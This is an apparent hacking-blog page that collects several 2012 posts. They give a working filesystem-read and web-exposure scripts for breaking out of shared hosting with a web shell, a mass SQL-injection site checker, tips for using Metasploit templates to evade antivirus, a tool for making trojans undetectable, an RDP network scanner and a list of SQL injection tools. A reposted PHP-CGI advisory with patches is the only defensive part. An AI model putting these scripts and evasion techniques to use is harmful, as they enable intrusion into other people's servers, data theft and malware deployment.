1 Server Bypass via Symlink - Jumping in server Part 2

Let's go with next method of symlink server bypassing , like u see and into before post now i will explain a new trick with an other tool.
http://www.flashcrew.in/2012/05/server-bypass-via-symlink-jumping-in.html

-------------------------
Here we will talk about an other tool who use python permission to read other folders/ files in same server.
Tool called xplor.py and here it's the source

 #!/usr/bin/env python
# devilzc0de.org (c) 2012
import sys
import os

def copyfile(source, dest, buffer_size=1024*1024):
    if not hasattr(source, 'read'):
        source = open(source, 'rb')
    if not hasattr(dest, 'write'):
        dest = open(dest, 'wb')
    while 1:
        copy_buffer = source.read(buffer_size)
        if copy_buffer:
            dest.write(copy_buffer)
        else:
            break
    source.close()
    dest.close()

if __name__=="__main__":
    if not len(sys.argv) == 3 and not len(sys.argv) == 2:
        sys.stdout.write('usage : python ' + os.path.basename(sys.argv[0]) + ' [path to dir/file] [path to save file]\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue issue_new_copy\r\n')
        sys.exit(1)
   
    target = sys.argv[1].replace("\\","/")
    if os.path.isdir(target):
        if not target.endswith("/"):
            target = target + "/"
        dir = os.listdir(target)
        for d in dir:
            fs = ""
            if os.path.isdir(target + d):
                fs = "[ DIR ]"
            elif os.path.isfile(target + d):
                fs = os.path.getsize(target + d)
                fs = str(fs)
               
            sys.stdout.write(fs.rjust(12, " ") + " " + d + "\r\n")
    elif os.path.isfile(target):
        if len(sys.argv) == 3:
            copyfile(target, sys.argv[2])
        else:
            f = open(target, "rb")
            try:
                byte = f.read(1024)
                sys.stdout.write(byte)
                sys.stdout.flush()
                while byte != "":
                    byte = f.read(1024)
                    sys.stdout.write(byte)
                    sys.stdout.flush()
            finally:
                f.close()
    else:
        sys.stdout.write("Can't found file or folder : " + target)

http://pastebin.com/WqmCE2sJ

testing the script python xplor.py

User the tool to view folders where not have any permission to read inside

python xplor.py /var/www/index.php

View the files in no access folder .
python xplor.py /var/www/index.php

copy/ save ur file
python xplor.py /var/www/indro/ketek.jpg ketek.jpg


And yeah file it's here


Yeahh fucking access it's granted 


Some thing u can do with those other scripts in perl 
webs.pl
and
xplor.pl


enjoy it :)

4 Server Bypass via Symlink - Jumping in server Part 1

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.
For getting success with this tutorial are required the following things:

• Python Installed on Server
• b374k.php shell
• And some scripts u will see below.

This idea have start from devilzc0de geeks and let me explain how it work.


here we are in folder /var/www/dono and trying to go into /www/

no permissions to go into /www .
before we got tired by trying the commands u must check if if python it's installed with command :

python -h

Now take this python script and name it as webs.py , It's a little python script who will open a new port on server SimpleHTTPServer ( python ) module. Default port from script it's 13123 .

#!/usr/bin/env python
# devilzc0de.org (c) 2012
import SimpleHTTPServer
import SocketServer
import os

port = 13123
if __name__=='__main__':
        os.chdir('/')
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

        httpd = SocketServer.TCPServer(("", port), Handler)

        print("Now open this server on webbrowser at port : " + str(port))
        print("example: http://maho.com:" + str(port))
        httpd.serve_forever()

http://pastebin.com/PddvszKC 

 

Next u wil need to run the webs.py script by following command

python webs.py

 open the site with port 13123
site.com:13123

And enjoy the symilinking, in next post i will show u how to do this in another way :)

3 sqliChecker.py v.0.1

sqliChecker it's a mass list sqli vulnerabilty checker who detect vuln sites from a text file in multiple database types like Mysql, Mssql, Msaccess, Oracle. Automaticly remove duplicated sites.
Simple script and easy to use.
python sqliChecker.py vulnlistfile.txt

      

#!/usr/bin/python
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# Toolname        : sqliChecker.py
# Coder           : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
# Version         : 0.1
# Greetz for rsauron and low1z, great python coders
# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft, c0ax, b0ne, tek0t and all members of ex darkc0de.com, ljuska.org 
# 

import os, sys, subprocess, socket, urllib2, re, time

try:
 set
except NameError:
 from sets import Set as set
 
def timer():
 sec = time.time()
 return sec


def logo():
 print "\n|---------------------------------------------------------------|"
        print "| b4ltazar[@]gmail[dot]com                                      |"
        print "|   05/2012     sqliChecker.py v.0.1                            |"
        print "| b4ltazar.wordpress.com     &      ljuska.org                  |"
        print "|                                                               |"
        print "|---------------------------------------------------------------|\n"
  
 
if sys.platform == 'linux' or sys.platform == 'linux2':
  subprocess.call("clear", shell=True)
  logo()
else:
  subprocess.call("cls", shell=True)
  logo()

timeout = 10
socket.setdefaulttimeout(timeout)
log = "sqlivuln.txt"
logfile = open(log, "a")
urls = []
vuln = []

sqlerrors = {'MySQL': 'error in your SQL syntax',
             'MiscError': 'mysql_fetch',
             'MiscError2': 'num_rows',
             'Oracle': 'ORA-01756',
             'JDBC_CFM': 'Error Executing Database Query',
             'JDBC_CFM2': 'SQLServer JDBC Driver',
             'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
             'MSSQL_Uqm': 'Unclosed quotation mark',
             'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
             'MS-Access_JETdb': 'Microsoft JET Database',
             'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
             'Server Error' : 'Server Error',
             'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
             'Invalid Querystring' : 'Invalid Querystring',
             'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
             'VBScript Runtime' : 'VBScript Runtime',
             'ADODB.Field' : 'ADODB.Field',
             'BOF or EOF' : 'BOF or EOF',
             'ADODB.Command' : 'ADODB.Command',
             'JET Database' : 'JET Database',
             'mysql_fetch_array()' : 'mysql_fetch_array()',
             'Syntax error' : 'Syntax error',
             'mysql_numrows()' : 'mysql_numrows()',
             'GetArray()' : 'GetArray()',
             'FetchRow()' : 'FetchRow()',
             'Input string was not in a correct format' : 'Input string was not in a correct format'}
  
   

if len(sys.argv) != 2:
 print "[+] Usage: python sqliChecker.py "
 print "[+] Please visit ljuska.org & b4ltazar.wordpress.com"
 print "[!] Exiting, thanks for using script"
 sys.exit(1)
    
checklist = sys.argv[1]
starttimer = timer()

try:
  check = open(checklist, "r")
  checkline = check.readlines()
  print "[!] You have",len(checkline),"links to check\n"
except(IOError):
  print "[-] Error, check your path or file name!"
  print "[+] Please visit ljuska.org & b4ltazar.wordpress.com"
  print "[!] Exiting, thanks for using script"
  sys.exit(1)
  
for url in checkline:
 url = url.replace("\n", "")
 url = url.rsplit('=', 1)[0]+"="
 url = url+"'"
 urls.append(url)
 

def classicINJ(url):
 num = 1
 for url in urls:
  try:
   source = urllib2.urlopen(url).read()
   for type,eMSG in sqlerrors.items():
    if re.search(eMSG, source):
     print num,"/",len(urls), "w00t!,w00t!:", url, "Error:", type, " ---> SQL Injection Found"
     vuln.append(url)
    else:
     pass
  except:
   pass
  
  num += 1

 

if __name__ == "__main__":
 classicINJ(url)  
 print "\n[!] There is %s vulnerable sites to SQL Injection" % len(vuln)
 vulnerable = list(set(vuln))
 print "[+] Without duplicates we have %s vulnerable sites to SQL Injection" % len(vulnerable)
 for v in vulnerable:
  logfile.write("\n"+v)
  
 endtimer = timer()
 print "\n[+] Time used for checking :", int(((endtimer-starttimer) / 60)), "minutes"
 print "[+] Average time per link is :", int(((endtimer-starttimer) / float(len(checkline)))), "seconds"
 print "[+] Please visit ljuska.org & b4ltazar.wordpress.com"

or direct link from pastebin http://pastebin.com/raw.php?i=jA7wrWw1

 thanks to baltazar for this script

0 PHP CGI Argument Remote Exploit

This is a detailed discussion of the generic PHP-CGI remote code execution bug we found while playing Nullcon CTF. We found that giving the query string ‘?-s’ somehow resulted in the “-s” command line argument being passed to php, resulting in source code disclosure. We explored this bug further and managed to improve our exploit to remote code execution, and trace the bug to a PHP commit in 2004.
PHP has been working on a patch for this for quite a while. We have been waiting to post this blog entry until a fix was released, but today the bug was posted to reddit because it was apparently accidentally marked public.

Executive summary:

• PHP-CGI installations are vulnerable to remote code execution
• There is no official fix, but we provide some workarounds in the ‘mitigation’ section
• The PHP bug report is now public and contains an official patch and a mod_rewrite based workaround
• PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
• The new PHP versions as well as the official php patch contain a bug which makes the fix trivial to bypass. Use our mitigations for now.
• New versions of PHP which incorporate this revised fix will be released soon. The issue that the bug was not initially properly fixed is being tracked as CVE-2012-2311.
• FastCGI installations are not vulnerable
• The vulnerability can only be exploited if the HTTP server follows a fairly obscure part of the CGI spec. Apache does this, but many other servers do not.

Now, without further ado, the bug…

The Vulnerability

The hosting service Dreamhost (which Nullcon makes use of) recommends users that wish to modify their php.ini configuration file to run their sites through a CGI wrapper, using Apache mod_actions’ Action directive like this:

1 2 3 4

Options +ExecCGI AddHandler php5-cgi .php Action php-cgi /cgi-bin/php-wrapper.fcgi Action php5-cgi /cgi-bin/php-wrapper.fcgi

php-wrapper.fcgi is a shell script that wraps php5-cgi, which has the aforementioned -s option.

1 2	#!/bin/sh exec /dh/cgi-system/php5.cgi $*

Edit: (Note that the shell-script is inherently insecure because it does shell expansion, the correct way to pass on arguments would be "$@")
We’ve tested this and have confirmed that the query parameters are passed to the php5-cgi binary in this configuration. Since the wrapper script merely passes all the arguments on to the actual php-cgi binary, the same problem exists with configurations where php-cgi is directly copied into the cgi-bin directory.
It’s interesting to note that while slashes get added to any shell metacharacters we pass in the query string, spaces and dashes (‘-’) are not escaped. So we can pass as many options to PHP as we want!
There is one slight complication: php5-cgi behaves differently depending on which environment variables have been set, disabling the flag -r for direct code execution among others.

1 2 3 4 5 6 7 8 9 10 11

if (!fastcgi) {     /* Make sure we detect we are a cgi - a bit redundancy here,      * but the default case is that we have to check only the first one. */     if (getenv("SERVER_SOFTWARE") ||         getenv("SERVER_NAME") ||         getenv("GATEWAY_INTERFACE") ||         getenv("REQUEST_METHOD")     ) {         cgi = 1;     } }

However, this can be trivially bypassed. We’re removing the remote code execution PoC out of an abundance of caution, but at this point anyone should be able to figure this out.
And for the record: safe_mode, allow_url_include and other security-related ini settings will not save you. See the bottom of this post for how you can protect yourself until the official patch is out.
Whose fault is this exactly? And why does the query string get parsed into command line arguments anyway? We went on a little trip around the internet to find out.
To answer the first question, there is the following text in the CGI RFC:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

4.4.  The Script Command Line      Some systems support a method for supplying an array of strings to    the CGI script.  This is only used in the case of an 'indexed' HTTP    query, which is identified by a 'GET' or 'HEAD' request with a URI    query string that does not contain any unencoded "=" characters.  For    such a request, the server SHOULD treat the query-string as a    search-string and parse it into words, using the rules         search-string = search-word *( "+" search-word )       search-word   = 1*schar       schar         = unreserved | escaped | xreserved       xreserved     = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |                       "$"      After parsing, each search-word is URL-decoded, optionally encoded in    a system-defined manner and then added to the command line argument    list.      If the server cannot create any part of the argument list, then the    server MUST NOT generate any command line information.  For example,    the number of arguments may be greater than operating system or    server limits, or one of the words may not be representable as an    argument.      The script SHOULD check to see if the QUERY_STRING value contains an    unencoded "=" character, and SHOULD NOT use the command line    arguments if it does.

We checked the Apache source, and it complies exactly with the RFC: if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.
Unfortunately, it appears the PHP devs forgot about this section of the RFC, and decided to remove the code which defends against it somewhere in 2004:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

From: Rasmus Lerdorf lerdorf.com> Subject: [PHP-DEV] php-cgi command line switch memory check Newsgroups: gmane.comp.php.devel Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)   In our SAPI cgi we have a check along these lines:       if (getenv("SERVER_SOFTWARE")         || getenv("SERVER_NAME")         || getenv("GATEWAY_INTERFACE")         || getenv("REQUEST_METHOD")) {         cgi = 1;     }       if(!cgi) getopt(...)   As in, we do not parse command line args for the cgi binary if we are running in a web context.  At the same time our regression testing system tries to use the cgi binary and it sets these variables in order to properly test GET/POST requests.  From the regression testing system we use -d extensively to override ini settings to make sure our test environment is sane.  Of course these two ideas conflict, so currently our regression testing is somewhat broken.  We haven't noticed because we don't have many tests that have GET/POST data and we rarely build the cgi binary.   The point of the question here is if anybody remembers why we decided not to parse command line args for the cgi version?  I could easily see it being useful to be able to write a cgi script like:     #!/usr/local/bin/php-cgi -d include_path=/path          ...   ?>   and have it work both from the command line and from a web context.   As far as I can tell this wouldn't conflict with anything, but somebody at some point must have had a reason for disallowing this.   -Rasmus

Oddly enough, the PHP documentation still claims that PHP ignores command line arguments when run in CGI mode. That documentation page also describes another mitigation used in PHP: the REDIRECT_STATUS environment variable must be set, or PHP will refuse to run as a CGI script. This means we cannot directly access /cgi-bin/php5-cgi. This doesn’t really inconvenience us though, as mentioned earlier :-)

Mitigation

NOTE: This section is now out of date! PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
The new PHP release is buggy. You can use their mitigation mod_rewrite rule, but the patch and new released versions do not fix the problem. At the bottom we have added a version of the PHP patch that fixes the obvious problem with the patch merged in the recently released security update.
The following tarball contains two ways of mitigating the vulnerability.
See CVE-2012-1823-mitigation.tar.gz
The first method is to have a small wrapper binary around the php-cgi binary.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

/*  * Small wrapper which strips all arguments to invocations  * of php-cgi when it is called as a normal CGI handler.  * This prevents attackers to pass arguments from the query  * string as defined in RFC 3875. [1]  *  * [1] http://www.ietf.org/rfc/rfc3875  *  */   #include #include #include   #include #include   #define PHP_ORIG "/usr/bin/php5-cgi.orig" /* Original binary */   typedef union _sa_t {     struct sockaddr     sa;     struct sockaddr_un  sa_unix;     struct sockaddr_in  sa_inet;     /* struct sockaddr_in6 should probably be here as well,      * doesn't matter though, since struct sockaddr_un      * is big.      */ } sa_t;   int is_fastcgi(void) {     sa_t sa;     socklen_t len = sizeof(sa);       return ( getpeername(0, (struct sockaddr *)&sa, &len) != 0 &&              errno == ENOTCONN ); }   int main(int argc, char **argv) {     /* mimic php's cgi detection */     if ( !is_fastcgi() &&          (getenv("SERVER_SOFTWARE") ||           getenv("SERVER_NAME") ||           getenv("GATEWAY_INTERFACE") ||           getenv("REQUEST_METHOD") ) )       argv[1] = NULL;       execv(PHP_ORIG, argv); }

The second way is a patch for PHP, which disables the parsing of arguments if
php-cgi is invoked as non-fastcgi cgi.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

Disable argument parsing when invoked as CGI (and NOT when invoked as FastCGI.)  This to prevent programs from passing arguments to php-cgi via the query string as specified by RFC 3875. [1]   This patch may break CGI scripts that depend on arguments passed via shebang arguments, eg. '#!/usr/bin/php-cgi -dmagic_quotes_gpc=Off', but this is inherently unsafe, since these arguments may have come from the network.   Backward compatibility could theoretically be faked by parsing the shebang arguments from the file itself, but this leads to a circular dependency since the script filename depends on the configuration which may be changed in the shebang line of the file (due to cgi.fix-pathinfo.)   [1] http://www.ietf.org/rfc/rfc3875   Index: sapi/cgi/cgi_main.c =================================================================== --- sapi/cgi/cgi_main.c   (revision 322984) +++ sapi/cgi/cgi_main.c   (working copy) @@ -1552,7 +1552,7 @@       }   }   - while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) { + if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {       switch (c) {           case 'c':               if (cgi_sapi_module.php_ini_path_override) { @@ -1801,7 +1801,7 @@   }     zend_first_try { -     while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) { +     if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) {           switch (c) {               case 'T':                   benchmark = 1;

UPDATE: There is now a third option. This patch should be applied on top of the current PHP source (including the security update that was supposed to fix the issue described in this blog entry).
This patch fixes an obvious mistake made by the PHP devs. We have verified that without this patch, the most recent PHP can still be exploited.
UPDATE: as Christopher Kunz from http://www.php-security.net points out to us that If you use the the same (insecure) wrapper as in our example, the patch below can still be circumvented by prepending a ‘+’, like ‘+-s’. Our solutions above should work just fine in this case.

1 2 3 4 5 6 7 8 9 10 11 12 13

diff --git a/sapi/cgi/cgi_main.c b/sapi/cgi/cgi_main.c index e6d011b..8e2d0ba 100644 --- a/sapi/cgi/cgi_main.c +++ b/sapi/cgi/cgi_main.c @@ -1809,7 +1809,7 @@ int main(int argc, char *argv[])     if(query_string = getenv("QUERY_STRING")) {         decoded_query_string = strdup(query_string);         php_url_decode(decoded_query_string, strlen(decoded_query_string)); -       if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) { +       if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {             skip_getopt = 1;         }         free(decoded_query_string);

Disclosure timeline

13-01: Vulnerability discovered, used to pwn Nullcon Hackim 2012 scoreboard
13-01: We discuss the issue with Nullcon admins, find out it is a php 0day
17-01: We contact security@php.net with a full report and a suggested patch
01-02: We ask PHP to confirm receipt, state our intent to hand off the vulnerability to CERT if progress is not made
01-02: PHP forwards vulnerability report to PHP CGI maintainer
23-02: CERT acknowledges receipt of vulnerability and attempts to contact PHP.
05-04: We ask CERT for a status update
05-04: CERT responds saying that PHP is still working on a fix
20-04: We ask CERT to proceed with disclosure unless a patch is imminent
26-04: CERT prepares draft advisory.
02-05: CERT notifies us that PHP is testing a patch and would like more time. we agree.
03-05: Someone posts a mirror of the internal PHP bug to reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentaly marked public.
UPDATE: The PHP bug report is now public again and is marked as closed. Go there for information on the patch and a mod_rewrite based workaround. Do NOT rely on the homebrew workarounds in the comments below, they do not provide adequate protection!
UPDATE2: PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
UPDATE3: The new PHP release is buggy. You can use their workaround, but the new releases and their patch do not fix the issue. Use our mitigations for now.
UPDATE4: Added a new patch which should be applied on top of PHP’s new security update. This patch fixes the mistake made by PHP in their security update, and without it your PHP will still be exploitable. Look at the bottom of the mitigation section.
UPDATE5: We have received word that new PHP updates with the revised fix will be released soon. The issue that this problem was not properly fixed by the original security update is being tracked as CVE-2012-2311. Updates to this blog will be less frequent for the following hours due to it being nighttime / early morning in the Netherlands.
We apologize for the mess this blogpost has become; if anything is unclear please don’t hesitate to ask in the comments. We don’t want to reorganise the blog post too much so people can still find what they want.

source from: eindbazen.net

PHP CGI Argument Injection Exploit

0 Using Metasploit Templates to Bypass AV

 

 

Metasploit Templates

Metasploit creates executable files by encoding a payload and then inserting the payload into a template executable file. The templates are in the data/templates folder. Metasploit includes templates for Windows, Mac, and Linux, templates for x86, x86_64, and ARM, and a template for Windows services. If you look in the data/templates/src folder you will find the source files for each of the templates.

Modifying the Templates

Each source file declares a variable to hold the payload and assigns it the value of “PAYLOAD:”. The payload variable is 4096 bytes in some cases and 8192 bytes in others. Metasploit uses lib/msf/util/exe.rb to insert your payload by replacing the value “PAYLOAD:” with your encoded payload. You can use a custom template as long as it defines a variable of the right size and assigns it the value of “PAYLOAD:”. For the service template you can also define a variable and assign it the value “SERVICENAME”. Looking at the service.c template you can see the variable definitions:

#define PAYLOAD_SIZE 8192
char cServiceName[32] = "SERVICENAME";
char bPayload[PAYLOAD_SIZE] = "PAYLOAD:";

Using a Custom Template

If executables built with the default template are getting caught by your AV then you will need to modify the source file, compile it, and then use the new executable as your template. If you are using msfencode it looks like this:

msfencode -t exe -x /path/to/template/template.exe

If you are using the psexec module then you can set the advanced options EXE::Template and EXE::Path.

Bypassing Antivirus

There is no tried and true technique for bypassing antivirus. You may find your AV product can be bypassed with simple modifications to the templates or you may find that it doesn’t matter how you modify the template because the AV is picking up on the payload. This is when your encoding becomes important.
Here are a couple of things to keep in mind.

1. People don’t like to talk about how they bypass AV because the AV companies will develop a signature.
2. Don’t submit your AV bypass to VirusTotal or similar services because the AV companies use these services to develop new signatures.
3. Setup a virtual machine with the AV you want to bypass, update it to the latest signatures then disconnect it from the network.

UPDATE: I have rewritten this article and put it on the Metasploit documentation wiki you can find it here.

1 Offset x Offset Undetector - A Virus/Malware/Spyware/Trojan Undetector Tool

The aim of this tool is to find viral signature for your legal programs
like other programs that do this job you have to scan produced file and find the smallest range
features:
start/end offset (hex/decimal) : Header/Sections+EOF/ALL/User values
Random and Not filling
Unknown size method (beta) : (sign begin/sign end/ud byte)
scan with a command line AV
show undetected range(s) (double click to select it)
PE header compare
Edit/move EP (move by (Di)asm or hex copy)
like any program this may contain bug(s), so don't blame me for any problem due to bugs, to this program, or to the way you use it

The main aim is to Undetect the Trojans/malware files. You need to have advanced knowledge about this else you may not able to use this tool

Main program fully written on ASM (MASM32), thanks to Oleh Yuschuck for OllyDisasm
Offset x Offset Undetector - A Virus/Malware/Spyware/Trojan Undetector Tool
Download Here
www.mediafire.com/?ib623249s19bt7b

0 rdpScan Network Checker

This is a simple script that leverages nmap to scan for RDP-Server.

#!/bin/bash
#
# rdpScan - scan a network segment for RDP-Server          
# author: silverstoneblue@gmx.net 
# requires:  fgrep awk nmap

scriptname="rdpScan"
version="1.0"
rdpips="/tmp/tmprdp.$$"

declare -i rdpfound=0

function is_installed {
  which $1 > /dev/null 2>&1
  if [ $? -ne 0 ]
  then
    printf "\nERROR: %s not installed.\n\n" $1
    exit 255
  fi
}
 
is_installed fgrep
is_installed awk
is_installed nmap

 if [ $# -ne 1 ]; then
    printf "\n \n"
   printf "rdpScan - scan a network segment for RDP-Server \n\n"
    printf "version %s by silverstoneblue@gmx.net \n\n" $version
   printf "Usage: %s {target network}\n\n" $scriptname
    printf "target network:\n"
    printf "  can pass hostnames, IP's, networks, etc.\n"
    printf "  server.company.com, company.com/24, 192.168.0.1/16, 10.0.0-255.1-254\n"
    printf "example:\n"
    printf "  %s 80.187.0.0/24\n\n" $scriptname
    exit 255
 fi
 
iprange=$1
 
printf "\nScanning for RDP-Server..."
 
nmap -n -P0 -sS -p 3389 -oG - $iprange | fgrep 'Ports: 3389/open/tcp//ms-term-serv///' | awk '{print $2}' > $rdpips

printf "\n\n"

exec 3< $rdpips
 
echo "*****************"
echo "RDP IP Address"
echo "*****************"
 
 while read rdpip <&3 ; do
    rdpfound=$rdpfound+1
    printf "%-15s %s\n" $rdpip 
 done

 
 if [ $rdpfound -eq 0 ] ; then 
  printf "No RDP-Server found on network target %s. \n\n" $iprange
   rm -f $rdpips 
  exit 255
 fi
 
printf "\n%d RDP-Server found on network target %s.\n" $rdpfound $iprange
printf "Now try ur luck ;)\n"
printf "have fun ;) \n"
rm -f $rdpips 
exit 0

Download

0 GooDork – Google Dorking Tool

GooDork is a simple python script designed to allow you to leverage the power of Google Dorking straight from the comfort of your command line. 

GooDork offers powerful use of Google’s search directives, by analyzing results from searches using regular expressions that you supply. So basically the purpose of GooDork is to combined Dorking with Regular Expressions.

GooDork allows you to apply regular expressions to any and all of the follow attributes of web applications:

• URL
• Displayable Text
• Anchors
• Many more options will shortly be made available

Dependencies

GooDork uses the following python packages, please make sure all of them are available

• python beautifulsoup4
• python-httplib
• python-urllib
• python-urlparse

If you are using Python 2.6 you’ll most likely have all of these (except BeautifulSoup).

Installing:

The only installation you need do is to download the entire script package, and make sure the dependencies — listed above — are installed on your machine.

You can download GooDork here (using git):

git clone https://github.com/k3170makan/GooDork

Or read more here.

0 SQL Injection Tools

Sqlninja ( http://sqlninja.sourceforge.net/ )
Supports only Microsoft SQL Server.

sqlmap ( http://sqlmap.sourceforge.net/ )
Full support: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.
Partial support for: Microsoft Access, DB2, Informix, Sybase and Interbase.

Pangolin 3.2.3 free edition ( http://down3.nosec.org/pangolin_free_edition_3.2.3.1105.zip )
Your web applications using Access,DB2,Informix,Microsoft SQL Server 2000,Microsoft SQL Server 2005,Microsoft SQL Server 2008,MySQL,Oracle,PostgreSQL,Sqlite3,Sybase.
Features: Auto-analyzing keyword, HTTPS support, Pre-Login, Bypass firewall setting, Injection Digger, Data dumper, etc.

Havij v1.14 Advanced SQL Injection – free version ( http://www.itsecteam.com/files/havij/Havij1.14Free.rar )
SQL Power Injector ( http://www.sqlpowerinjector.com/ )
Supports: Microsoft SQL Server, Oracle, MySQL, Sybase / Adaptive Server and DB2.

SQLIer 0.8.2b  ( http://bcable.net/releases.php?sqlier )
SQLIer takes an SQL Injection vulnerable URL and attempts to determine all the necessary information to build and exploit an SQL Injection hole by itself, requiring no user interaction at all (unless it can’t guess the table/field names correctly). By doing so, SQLIer can build a UNION SELECT query designed to brute force passwords out of the database. This script also does not use quotes in the exploit to operate, meaning it will work for a wider range of sites.

bsqlbf-v2 ( http://code.google.com/p/bsqlbf-v2/ )
Supports: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.

Marathon Tool ( http://www.codeplex.com/marathontool )
Supports: MySQL, Oracle, Microsoft SQL Server and Microsoft Access.

Absinthe ( http://www.0×90.org/…inthe/index.php )
Supports: Microsoft SQL Server, MSDE, Oracle, and Postgres.

pysqlin ( http://code.google.c…source/checkout )
Implemented: Oracle, MySQL and Microsoft SQL Server.

BSQL Hacker ( http://labs.portcull…on/bsql-hacker/ )
Implemented: Oracle and Microsoft SQL Server.
Available experimental support for MySQL.

SQID ( http://sqid.rubyforge.org/#download)
SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities

WITOOL ( http://witool.sourceforge.nSQL, Oracle, Microsoft SQL Server and Microsoft Access.et/ )
Implemented: Oracle and Microsoft SQL Server.

sqlus ( http://sqlsus.sourceforge.net/ )
Supports only MySQL.

DarkMySQLi16.py ( http://vmw4r3.blogspot.com/ )
Supports only MySQL.

mySQLenum ( http://sourceforge.n…ects/mysqlenum/ )
Supports only MySQL.

PRIAMOS ( http://www.priamos-project.com/ )
Supports only Microsoft SQL Server.

FJ-Injector Framework ( http://sourceforge.net/projects/injection-fwk/files/)
FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in web applications. It includes a proxy feature for intercepting and modifying HTTP requests, and an interface for automating SQL injection exploitation

SFX-SQLi ( http://www.kachakil.com/ )
Supports only Microsoft SQL Server.

DarkMySQL ( http://vmw4r3.blogspot.com/ )
Supports only MySQL.

ProMSiD Premium ( http://forum.web-def…02&postcount=15 )
Supports only MySQL.

Acunetix WVS  ( http://www.acunetix.com/vulnerability-scanner/download.htm)
Automatically checks your web applications for SQL Injection, XSS & other web vulnerabilities.

yInjector ( http://y-osirys.com/…-softwares/id10 )
Supports only MySQL.

Bobcat SQL Injection Tool ( http://www.northern-…pub/bobcat.html )

Safe3 Sql Injector ( http://sourceforge.net/projects/safe3si/)
Supports: http, https website, Basic, Digest, NTLM http authentications,GET, Post, Cookie sql injection.
Databases: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
SQL injection techniques: blind, error-based, UNION query and force guess.

ExploitMyUnion ( http://sourceforge.n…exploitmyunion/ )
Laudanum ( http://sourceforge.n…jects/laudanum/ )

Hexjector ( http://sourceforge.n…ects/hexjector/ )

WebRaider ( http://code.google.com/p/webraider/ )
Supports only Microsoft SQL Server.  Designed to execute commands on the server (reverse shell).

Toolza 1.0 ( http://bug-track.ru/prog/toolza1.0.rar )
SQL injection supported DB: Mysql, Mssql, Sybase, Postgresql, Access, Oracle, Firebird / Interbase

SCRT Mini-MySqlat0r (http://www.scrt.ch/attaque/telechargements/mini-mysqlat0r)
A multi-platform application used to audit web sites in order to discover and exploit SQL injection vulnerabilities. It is written in Java and is used through a user-friendly GUI that contains three distinct modules” (Crawler, Tester & Exploiter).

post on comments other sql injection tools that u know